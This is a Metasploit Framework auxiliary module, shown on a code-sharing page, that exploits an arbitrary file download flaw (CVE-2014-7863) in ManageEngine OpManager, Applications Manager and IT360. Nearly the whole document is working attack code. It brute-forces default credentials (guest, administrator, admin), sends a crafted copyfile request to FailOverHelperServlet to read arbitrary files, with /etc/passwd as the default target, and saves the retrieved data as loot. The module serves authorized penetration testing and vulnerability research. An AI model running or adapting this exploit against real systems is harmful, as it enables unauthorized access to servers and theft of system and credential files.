Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/manageengine_file_download.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'ManageEngine Multiple Products Arbitrary File Download',
15
'Description' => %q{
16
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
17
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
18
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
19
module will attempt to login using the default credentials for the administrator and
20
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
21
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
22
8300). This module has been tested on both Windows and Linux with several different
23
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
24
a companion module that allows the recursive listing of any directory. This
25
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2014-7863'],
33
['OSVDB', '117695'],
34
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
35
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
36
],
37
'DisclosureDate' => '2015-01-28',
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [IOC_IN_LOGS],
41
'Reliability' => []
42
}
43
)
44
)
45
46
register_options(
47
[
48
Opt::RPORT(80),
49
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
50
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
51
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
52
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
53
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
54
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
55
]
56
)
57
end
58
59
def post_auth?
60
true
61
end
62
63
def get_cookie
64
cookie = nil
65
res = send_request_cgi({
66
'method' => 'GET',
67
'uri' => normalize_uri(datastore['TARGETURI'])
68
})
69
70
if res
71
cookie = res.get_cookies
72
end
73
74
cookie
75
end
76
77
def detect_it360
78
res = send_request_cgi({
79
'uri' => '/',
80
'method' => 'GET'
81
})
82
83
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
84
return true
85
end
86
87
return false
88
end
89
90
def get_it360_cookie_name
91
res = send_request_cgi({
92
'method' => 'GET',
93
'uri' => normalize_uri('/')
94
})
95
96
cookie = res.get_cookies
97
98
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
99
return ::Regexp.last_match(1)
100
else
101
return nil
102
end
103
end
104
105
def authenticate_it360(port, path, username, password)
106
if datastore['DOMAIN_NAME'].nil?
107
vars_post = {
108
'LOGIN_ID' => username,
109
'PASSWORD' => password,
110
'isADEnabled' => 'false'
111
}
112
else
113
vars_post = {
114
'LOGIN_ID' => username,
115
'PASSWORD' => password,
116
'isADEnabled' => 'true',
117
'domainName' => datastore['DOMAIN_NAME']
118
}
119
end
120
121
res = send_request_cgi({
122
'rport' => port,
123
'method' => 'POST',
124
'uri' => normalize_uri(path),
125
'vars_get' => {
126
'service' => 'OpManager',
127
'furl' => '/',
128
'timestamp' => Time.now.to_i
129
},
130
'vars_post' => vars_post
131
})
132
133
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
134
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
135
return res.get_cookies
136
end
137
138
nil
139
end
140
141
def login_it360
142
# Do we already have a valid cookie? If yes, just return that.
143
unless datastore['IAMAGENTTICKET'].nil?
144
cookie_name = get_it360_cookie_name
145
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
146
return cookie
147
end
148
149
# get the correct path, host and port
150
res = send_request_cgi({
151
'method' => 'GET',
152
'uri' => normalize_uri('/')
153
})
154
155
if res && res.redirect?
156
uri = [ res.redirection.port, res.redirection.path ]
157
else
158
return nil
159
end
160
161
if datastore['USERNAME'] && datastore['PASSWORD']
162
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
163
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
164
unless cookie.nil?
165
return cookie
166
end
167
end
168
169
default_users = ['guest', 'administrator', 'admin']
170
171
default_users.each do |user|
172
print_status("Trying to authenticate as #{user}...")
173
cookie = authenticate_it360(uri[0], uri[1], user, user)
174
unless cookie.nil?
175
return cookie
176
end
177
end
178
179
nil
180
end
181
182
def run
183
# No point to continue if filepath is not specified
184
if datastore['FILEPATH'].empty?
185
print_error('Please supply the path of the file you want to download.')
186
return
187
end
188
189
if detect_it360
190
print_status('Detected IT360, attempting to login...')
191
cookie = login_it360
192
if cookie.nil?
193
print_error('Failed to login to IT360!')
194
return
195
end
196
else
197
cookie = get_cookie
198
end
199
200
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
201
res = send_request_cgi({
202
'method' => 'GET',
203
'cookie' => cookie,
204
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
205
})
206
if res && res.code == 404
207
servlet = 'FailOverHelperServlet'
208
end
209
210
# Create request
211
begin
212
print_status("Downloading file #{datastore['FILEPATH']}")
213
res = send_request_cgi({
214
'method' => 'POST',
215
'cookie' => cookie,
216
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
217
'vars_get' => {
218
'operation' => 'copyfile',
219
'fileName' => datastore['FILEPATH']
220
}
221
})
222
rescue Rex::ConnectionRefused
223
print_error('Could not connect.')
224
return
225
end
226
227
# Show data if needed
228
if res && res.code == 200
229
230
if res.body.to_s.bytesize == 0
231
print_error('0 bytes returned, file does not exist or is empty.')
232
return
233
end
234
235
vprint_line(res.body.to_s)
236
fname = File.basename(datastore['FILEPATH'])
237
238
path = store_loot(
239
'manageengine.http',
240
'application/octet-stream',
241
datastore['RHOST'],
242
res.body,
243
fname
244
)
245
print_good("File saved in: #{path}")
246
else
247
print_error('Failed to download file.')
248
end
249
end
250
end
251
252